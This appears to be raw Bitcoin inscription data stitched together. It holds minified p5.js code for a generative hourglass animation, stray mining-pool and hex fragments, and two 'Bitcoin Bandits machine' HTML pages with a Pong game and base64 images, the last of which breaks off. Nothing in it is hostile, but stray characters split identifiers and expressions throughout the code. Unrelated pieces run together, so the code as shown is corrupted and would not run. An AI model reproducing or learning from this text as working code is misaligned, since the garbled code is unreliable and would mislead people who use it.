createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
c/Foundry USA Pool #dropgold/
FjDOUT:38BBD77A8FC648ED1FDA79400A89A6D4B989238F56BBED1D4ED315853CFCE50E
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><M
canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:caM
nvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPM
addle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPadM
dle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}eMK
lse if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAXUklEQVR4nO3df4xVZX7H8e+oaJXpzI5AGRE7iz+YkFlRl63SDpPlR2TMZkE2sdK41K26YTdmCykkJpZoW1JCs620k1WzS+qSUmNKY4PCpulgOrABXKXLllLpZFCks6KBZeg4LLpRcKd/DOecZ+Y+557znPvce7733vfrH58599xzz8zo1+98znOe09DZvXxUAADqXJH3CQAA7CjQAKAUBRoAlKJAA4BSFGgAUIoCDQBKUaABQCkKNAAoRYEGAKUo0ACgFAUaAJSiQAOAUhRoAFCKAg0ASlGgAUApCjQAKEWBBgClKNAAoBQFGgCUokADgFIUaABQigINAEpRoAFAKQo0AChFgQYApSjQM
AKAUBRoAlLoq7xOAXgd7d+V9CvCks3t53qeADOigAUApCjQAKEXEgdgoY92xdeF4S8cW63YXyx7ZGo7bb7wgIiLNc6dnOlY9GTl6JhwPvN8YjndvW534XvP3hupDBw0ASlGgAUApIo46Y4szXCOLI6f/M9NnL0t4/bq1i6zbP91zuOj7rl46L/X74vZ1EXc+LueR5n0f9+wt+r6svwdUDzpoAFCKAg0AShFx1Kg0MzMCvcd7rft2z+62bj9z/hfZTwze8HuofXTQAKAUHXQNcLnwF9ctu/h06JOSj1EuSRfkfL/PN5fz0Px7gB900ACgFAUaAJQi4qgiPi78+fD+hVMZ35ntX7ekucs+4ok086Ozfk65zj/77wHVgg4aAJSiQAOAUkQcCsVFGfc+9M1wfPuGpnBczjjDani0oh/ncqu0xlkcZTv/Cv8eUHl00ACgFAUaAJQi4siZLc54YM2fhuORoeh23vPnzobj3uM/Ke+JFXFxJOsNEpO8nke9y/57QLWggwYAM
pSjQAKAUEUeFxM3MCOKMxuaWcNv7JwbCsRlrIFnWGREuC/mXc8aHeR6X+osv2I/aRwcNAErRQXsW1yn/0VN/HY4vjAyHY/MioM1N7R3h+L2BYyWenR+/cYr/r2uQ5vdwUX5dgTNBufBfGgAoRYEGAKWIOEpgizPM27FNLrGGyYw1zLijX95JfYxqkfQU6zguF9PKeeEt67G5GIg4dNAAoBQFGgCUIuJIIc1C+f+96byIjJ+33DRlmtfzGDeLY5HXQ4finuRt+uW/ZJsZsEguFG7ceSbTseqX8TM8lN9ZoDLooAFAKQo0AChFxDGBLc6wPfNPZPxC+Y3nbhWR8TMtXGZr5MEWZ2zp2GLdd/HixeU+HZSgr6/Pur2ze3mFzwQ+0UEDgFIUaABQqm4jjjQzMwIuz/wzZ1r4mMXhYy2OuJkZtjiDKEM3ooz6QgcNAEpRoAFAqbqKOMxYY9LaaPsfr45iDZc4oxKyrsVhxhpxMzM++Jptq/1PaFTejJ2F24gy6gsdNAAoM
